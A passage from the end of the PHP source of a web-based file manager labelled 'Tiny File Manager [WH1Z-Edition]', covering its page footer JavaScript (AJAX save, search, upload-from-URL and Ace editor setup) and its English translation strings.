action="<%this.action%>"> <div class="modal-body p-4 text-center"> <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5> <p class="mb-1"><%this.content%></p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> </script> <?php } /** * Show page footer after login */ function fm_show_footer() { ?> </div> <?php print_embedded_js('js-jquery'); ?> <?php print_embedded_js('js-bootstrap'); ?> <?php print_embedded_js('js-jquery-datatables'); ?> <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?> <?php print_embedded_js('js-highlightjs'); ?> <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } } function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { // Create file backup with .bck var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState && 200 == n.status && toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } // Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (typeof n !== 'undefined' && n !== null) { if (true) { var data = {ajax: true, content: n, type: 'save', token: window.csrf}; $.ajax({ type: "POST", url: window.location, data: JSON.stringify(data), contentType: "application/json; charset=utf-8", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else { var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit() } } } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } // Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } // Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); }, success: function (data) { if(data) { data = JSON.parse(data); if(data.done) { resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val(''); } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); } form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me'); } }, error: function(xhr) { form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr); } }); return false; } // Search template function search_template(data) { var response = ""; $.each(data, function (key, val) { response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`; }); return response; } // Advance search function fm_search() { var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook"); if(!!searchTxt && searchTxt.length > 2 && path) { var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf }; $.ajax({ type: "POST", url: window.location, data: data, beforeSend: function() { searchWrapper.html(''); $loader.addClass('show-me'); }, success: function(data){ $loader.removeClass('show-me'); data = JSON.parse(data); if(data && data.length) { _html = search_template(data); searchWrapper.html(_html); } else { searchWrapper.html('<p class="m-2">No result found!<p>'); } }, error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); }, failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');} }); } else { searchWrapper.html("OOPS: minimum 3 characters required!"); } } // action confirm dailog modal function confirmDailog(e, id = 0, title = "Action", content = "", action = null) { e.preventDefault(); const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action}; let tpl = $("#js-tpl-confirm").html(); $(".modal.confirmDailog").remove(); $('#wrapper').append(template(tpl,tplObj)); const $confirmDailog = $("#confirmDailog-"+tplObj.id); $confirmDailog.modal('show'); return false; } // on mouse hover image preview !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery); // Dom Ready Events $(document).ready( function () { // dataTable init var $table = $('#main-table'), tableLng = $table.find('th').length, _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3]; mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}] }); // filter table $('#search-addon').on( 'keyup', function () { mainTable.search( this.value ).draw(); }); $("input#advanced-search").on('keyup', function (e) { if (e.keyCode === 13) { fm_search(); } }); $('#search-addon3').on( 'click', function () { fm_search(); }); //upload nav tabs $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){ e.preventDefault();let target=$(this).data('target'); $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active'); $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden'); }); }); </script> <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY): $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION); $ext = $ext == "js" ? "javascript" : $ext; ?> <?php print_embedded_js('js-ace'); ?> <script> var editor = ace.edit("editor"); editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} ); //editor.setTheme("ace/theme/twilight"); //Dark Theme editor.setShowPrintMargin(false); // Hide the vertical ruler function ace_commend (cmd) { editor.commands.exec(cmd, editor); } editor.commands.addCommands([{ name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'}, exec: function(editor) { edit_save(this, 'ace'); } }]); function renderThemeMode() { var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; }, _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}}; if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); } if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");} if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); } $modeEl.val( editor.getSession().$modeId ); $themeEl.val( editor.getTheme() ); $fontSizeEl.val(12).change(); //set default font size in drop down } $(function(){ renderThemeMode(); $(".js-ace-toolbar").on("click", 'button', function(e){ e.preventDefault(); let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option"); if(cmdValue && cmdValue != "none") { ace_commend(cmdValue); } else if(editorOption) { if(editorOption == "fullscreen") { (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen) &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen()); } else if(editorOption == "wrap") { let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true; editor.getSession().setUseWrapMode(wrapStatus); } } }); $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){ e.preventDefault(); let selectedValue = $(this).val(), selectionType = $(this).attr("data-type"); if(selectedValue && selectionType == "mode") { editor.getSession().setMode(selectedValue); } else if(selectedValue && selectionType == "theme") { editor.setTheme(selectedValue); }else if(selectedValue && selectionType == "fontSize") { editor.setFontSize(parseInt(selectedValue)); } }); }); </script> <?php endif; ?> <div id="snackbar"></div> </body> </html> <?php } /** * Language Translation System * @param string $txt * @return string */ function lng($txt) { global $lang; // English Language $tr['en']['AppName'] = 'Tiny File Manager [WH1Z-Edition]'; $tr['en']['AppTitle'] = 'File Manager'; $tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username'; $tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out'; $tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy'; $tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all'; $tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File'; $tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size'; $tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified'; $tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search'; $tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder'; $tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename'; $tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link'; $tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions'; $tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item'; $tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor'; $tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel'; $tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder'; $tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name'; $tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download'; $tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip'; $tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal'; $tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked'; $tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created'; $tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed'; $tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully'; $tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully'; $tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed'; $tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined'; $tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from'; $tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'; $tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed'; $tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from'; $tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items'; $tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; $tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from'; $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'; $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'; $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'; $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'; $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'; $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'; $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'; $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'; $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'; $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]); else return "$txt"; } ?>
Close